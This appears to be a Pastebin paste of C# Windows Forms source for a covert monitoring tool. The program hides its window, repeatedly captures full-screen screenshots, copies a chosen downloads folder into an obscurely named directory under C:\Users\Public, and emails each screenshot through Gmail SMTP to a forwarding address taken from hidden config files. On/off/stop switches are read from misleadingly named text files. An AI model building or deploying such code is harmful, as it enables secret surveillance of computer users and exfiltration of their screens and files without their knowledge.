Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2018
448
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.57 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using System.IO;
  11. using System.IO.Compression;
  12. using System.Threading;
  13. using System.Net;
  14. using System.Net.Mail;
  15. using System.Net.Mime;
  16.  
  17. namespace WindowsFormsApp19
  18. {
  19. public partial class Form1 : Form
  20. {
  21. public Form1()
  22. {
  23. InitializeComponent();
  24. }
  25.  
  26. string currentDirect = "";
  27. bool enabled = true;
  28. string downloadPath = "";
  29. int delayTime = 10000;
  30. bool download = true;
  31. bool stop = false;
  32. string smtpPass = "";
  33. string smtpUser = "";
  34. string forward = "";
  35. List<string> errorList = new List<string>(new string[] { });
  36. static HttpListener _httpListener = new HttpListener();
  37.  
  38. private void Form1_Load(object sender, EventArgs e)
  39. {
  40. this.Hide();
  41. Main();
  42. }
  43.  
  44. public void Main()
  45. {
  46. this.Hide();
  47.  
  48. while (stop == false)
  49. {
  50. Thread.Sleep(delayTime);
  51. firstBootCheck();
  52. if (enabled == true)
  53. {
  54. this.Hide();
  55. CreateD();
  56. screenShot();
  57. copy();
  58. email();
  59. errors();
  60. Console.WriteLine("{} Delay Time: " + delayTime);
  61.  
  62. }
  63. }
  64. this.Close();
  65. Application.Exit();
  66.  
  67. }
  68.  
  69. public void errors()
  70. {
  71. TextWriter tw = new StreamWriter(@"C:\Users\Public\JASON cache\Data\errorList.txt");
  72.  
  73. foreach (string value in errorList)
  74. {
  75. tw.WriteLine(value);
  76. }
  77. tw.Close();
  78. }
  79.  
  80.  
  81. public void CreateD()
  82. {
  83. try
  84. {
  85. Console.WriteLine("[] Creating directry");
  86. string date = (DateTime.Now.ToString());
  87. string title = ("Date " + date[0].ToString() + date[1].ToString() + "-" + date[3].ToString() + date[4].ToString() + "-" + date[8].ToString() + date[9].ToString() + " ~ Time -" + date[11].ToString() + date[12].ToString() + "-" + date[14].ToString() + date[15].ToString() + "-" + date[17].ToString() + date[18].ToString());
  88. string path = @"C:\Users\Public\JASON cache\Data\data03\snips\" + title;
  89. System.IO.Directory.CreateDirectory(path);
  90. currentDirect = path;
  91. }
  92. catch
  93. {
  94. errorList.Add(DateTime.Now + ": CreateD(): Error with creating directrys");
  95. }
  96. }
  97. public void screenShot()
  98. {
  99. try
  100. {
  101. Console.WriteLine("[] Sheenshot");
  102. string title = (DateTime.Now.ToString());
  103. string path = currentDirect + @"\Snipping" + ".jpg";
  104. Console.WriteLine(path);
  105. Rectangle bounds = Screen.GetBounds(Point.Empty);
  106. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
  107. {
  108. using (Graphics g = Graphics.FromImage(bitmap))
  109. {
  110. g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
  111. }
  112. bitmap.Save(path, System.Drawing.Imaging.ImageFormat.Jpeg);
  113. }
  114. }
  115. catch
  116. {
  117. errorList.Add(DateTime.Now + ": screenshot(): Error with creating directrys");
  118. Console.WriteLine(DateTime.Now + ": screenshot(): Error with creating directrys");
  119. }
  120.  
  121. }
  122.  
  123. public void copy()
  124. {
  125. try
  126. {
  127. if (download == true)
  128. {
  129. List<string> downloadLocation = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\data03\downloadLoc.txt").ToList();
  130. downloadPath = downloadLocation[0];
  131. string startPath = downloadPath;
  132. if(downloadPath == null)
  133. {
  134. downloadPath = @"C:\Users\Public\JASON cache\Data\data02";
  135. }
  136. Console.WriteLine("downloadPath = " + downloadPath);
  137. Console.WriteLine("Zippath = " + currentDirect + @"\Zipped Downloads" + ".zip");
  138. Console.WriteLine("extractpath = " + currentDirect + @"\Folder Downloads");
  139.  
  140. string zipPath = @"C:\Users\Public\JASON cache\Data\data03\tempZipped" + ".zip";
  141. string extractPath = currentDirect + @"\Folder Downloads";
  142.  
  143. File.Delete(zipPath);
  144.  
  145. ZipFile.CreateFromDirectory(startPath, zipPath);
  146.  
  147. ZipFile.ExtractToDirectory(zipPath, extractPath);
  148. }
  149. }
  150.  
  151. catch
  152. {
  153. errorList.Add(DateTime.Now + ": Copy(): Error with copying directrys");
  154. Console.WriteLine(DateTime.Now + ": Copy(): Error with copying directrys");
  155. }
  156. }
  157.  
  158. private void email()
  159. {
  160. try
  161. {
  162. string htmlBody = "<html><body><h1>PC Screenshot</h1><br><img src=\"cid:Pic1\"></body></html>";
  163. AlternateView avHtml = AlternateView.CreateAlternateViewFromString
  164. (htmlBody, null, MediaTypeNames.Text.Html);
  165. LinkedResource pic1 = new LinkedResource(currentDirect + @"\Snipping.jpg", MediaTypeNames.Image.Jpeg);
  166. pic1.ContentId = "Pic1";
  167. avHtml.LinkedResources.Add(pic1);
  168. MailMessage m = new MailMessage();
  169. m.AlternateViews.Add(avHtml);
  170. m.From = new MailAddress(smtpUser, ("Screenshot is currently located: " + currentDirect));
  171. m.To.Add(new MailAddress(forward, ("Screenshot is currently located: " + currentDirect)));
  172. m.Subject = ("Screenshot: " + DateTime.Now.ToString());
  173. SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
  174.  
  175. client.Host = "smtp.gmail.com";
  176. client.UseDefaultCredentials = false;
  177. client.Credentials = new NetworkCredential(smtpUser, smtpPass); //basicClientSend
  178. client.DeliveryMethod = SmtpDeliveryMethod.Network;
  179. client.EnableSsl = true;
  180. client.Send(m);
  181. }
  182.  
  183. catch
  184. {
  185. errorList.Add(DateTime.Now + ": email(): Error with sending emails");
  186. Console.WriteLine(DateTime.Now + ": email(): Error with sending emails");
  187. }
  188. }
  189.  
  190. public void firstBootCheck()
  191. {
  192.  
  193. try
  194. {
  195. Console.WriteLine("[] Testing for files");
  196. List<string> FLtest1 = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\Uni code -e.txt").ToList();
  197. }
  198. catch
  199. {
  200. try
  201. {
  202. Console.WriteLine("[] Creating files");
  203. System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache");
  204. System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data");
  205. System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data\data01");
  206. System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data\data02");
  207. System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data\data03");
  208. System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data\data03\snips");
  209. TextWriter tw = new StreamWriter(@"C:\Users\Public\JASON cache\info.txt");
  210. tw.WriteLine("node: disabled");
  211. tw.Close();
  212. TextWriter tw2 = new StreamWriter(@"C:\Users\Public\JASON cache\JSON Controller.txt");
  213. tw2.WriteLine("[04354AJG] - key");
  214. tw2.Close();
  215. TextWriter tw3 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\Uni code -e.txt");
  216. tw3.WriteLine("true");
  217. tw3.Close();
  218. TextWriter tw4 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\data03\downloadLoc.txt");
  219. tw4.WriteLine("null");
  220. tw4.Close();
  221. TextWriter tw8 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\smtpForwardLocation.txt");
  222. tw8.WriteLine("");
  223. tw8.Close();
  224. TextWriter tw6 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\backup.txt");
  225. tw6.WriteLine("false");
  226. tw6.Close();
  227. TextWriter tw7 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\ticks.txt");
  228. tw7.WriteLine("10000");
  229. tw7.Close();
  230. TextWriter tw9 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\smtpData.txt");
  231. tw9.WriteLine("");
  232. tw9.WriteLine("");
  233. tw9.Close();
  234. TextWriter tw10 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\errorList.txt");
  235. tw10.WriteLine("");
  236. tw10.Close();
  237. TextWriter tw11 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\data02\null.txt");
  238. tw11.WriteLine("null");
  239. tw11.Close();
  240. Console.WriteLine("[] All files created successfully");
  241. MessageBox.Show("Files have been created, to track downloads please clikc on the downloads location after this message.");
  242. using (var folderDialog = new FolderBrowserDialog())
  243. {
  244. if (folderDialog.ShowDialog() == DialogResult.OK)
  245. {
  246. Console.WriteLine("[] Open file dialog");
  247. MessageBox.Show("File location set to: " + folderDialog.SelectedPath);
  248. TextWriter tw5 = new StreamWriter(@"C: \Users\Public\JASON cache\Data\data03\downloadLoc.txt");
  249. tw5.WriteLine(folderDialog.SelectedPath);
  250. tw5.Close();
  251. }
  252. }
  253. Application.Exit();
  254. }
  255. catch
  256. {
  257. errorList.Add(DateTime.Now + ": firstBootCheck(): Error with creating files");
  258. Console.WriteLine(DateTime.Now + ": firstBootCheck(): Error with creating files" );
  259. }
  260.  
  261. }
  262.  
  263. try
  264. {
  265. List<string> downloadCheck = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\backup.txt").ToList();
  266. Console.WriteLine(downloadCheck[0]);
  267. if (downloadCheck[0] == "true")
  268. {
  269. Console.WriteLine("Enabled = true");
  270. download = true;
  271. }
  272. if (downloadCheck[0] == "false")
  273. {
  274. Console.WriteLine("Enabled = false");
  275. download = false;
  276. }
  277. }
  278. catch
  279. {
  280. errorList.Add(DateTime.Now + ": firstBootCheck() downloadCheck<>: Error with reading bool at: 'C:\\Users\\Public\\JASON cache\\Data\\backup.txt' ");
  281. Console.WriteLine(DateTime.Now + ": firstBootCheck() downloadCheck<>: Error with reading bool at: 'C:\\Users\\Public\\JASON cache\\Data\\backup.txt' ");
  282. }
  283. try
  284. {
  285.  
  286. List<string> bootCheck = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\Uni code -e.txt").ToList();
  287. Console.WriteLine(bootCheck[0]);
  288. if (bootCheck[0] == "true")
  289. {
  290. Console.WriteLine("Enabled = true");
  291. enabled = true;
  292. }
  293. if (bootCheck[0] == "false")
  294. {
  295. Console.WriteLine("Enabled = false");
  296. enabled = false;
  297. }
  298.  
  299. if (bootCheck[0] == "stop")
  300. {
  301. stop = true;
  302. Console.WriteLine("Enabled = stop");
  303. }
  304. }
  305. catch
  306. {
  307. errorList.Add(DateTime.Now + ": firstBootCheck() bootCheck<>: Error with reading bool at: 'C:\\Users\\Public\\JASON cache\\Data\\Uni code -e.txt' ");
  308. Console.WriteLine(DateTime.Now + ": firstBootCheck() bootCheck<>: Error with reading bool at: 'C:\\Users\\Public\\JASON cache\\Data\\Uni code -e.txt' ");
  309. }
  310.  
  311. try
  312. {
  313. List<string> tickTime = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\ticks.txt").ToList();
  314. delayTime = Convert.ToInt32(tickTime[0]);
  315. }
  316. catch
  317. {
  318. errorList.Add(DateTime.Now + ": firstBootCheck() tickTime<>: Error with reading Convert.ToInt32(string) at: 'C:\\Users\\Public\\JASON cache\\Data\\ticks.txt' ");
  319. Console.WriteLine(DateTime.Now + ": firstBootCheck() tickTime<>: Error with reading Convert.ToInt32(string) at: 'C:\\Users\\Public\\JASON cache\\Data\\ticks.txt' ");
  320. }
  321. try
  322. {
  323. List<string> smtpData = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\smtpData.txt").ToList();
  324. smtpUser = smtpData[0];
  325. smtpPass = smtpData[1];
  326. }
  327. catch
  328. {
  329. errorList.Add(DateTime.Now + ": firstBootCheck() smtpData<>: Error with reading string at: 'C:\\Users\\Public\\JASON cache\\Data\\smtpData.txt' ");
  330. Console.WriteLine(DateTime.Now + ": firstBootCheck() smtpData<>: Error with reading string at: 'C:\\Users\\Public\\JASON cache\\Data\\smtpData.txt' ");
  331. }
  332. try
  333. {
  334. List<string> smtpForward = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\smtpForwardLocation.txt").ToList();
  335. forward = smtpForward[0];
  336. }
  337. catch
  338. {
  339. errorList.Add(DateTime.Now + ": smtpForward() smtpData<>: Error with reading string at: 'C:\\Users\\Public\\JASON cache\\Data\\smtpForwardLocation.txt' ");
  340. Console.WriteLine(DateTime.Now + ": smtpForward() smtpData<>: Error with reading string at: 'C:\\Users\\Public\\JASON cache\\Data\\smtpForwardLocation.txt' ");
  341. }
  342. }
  343. }
  344. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement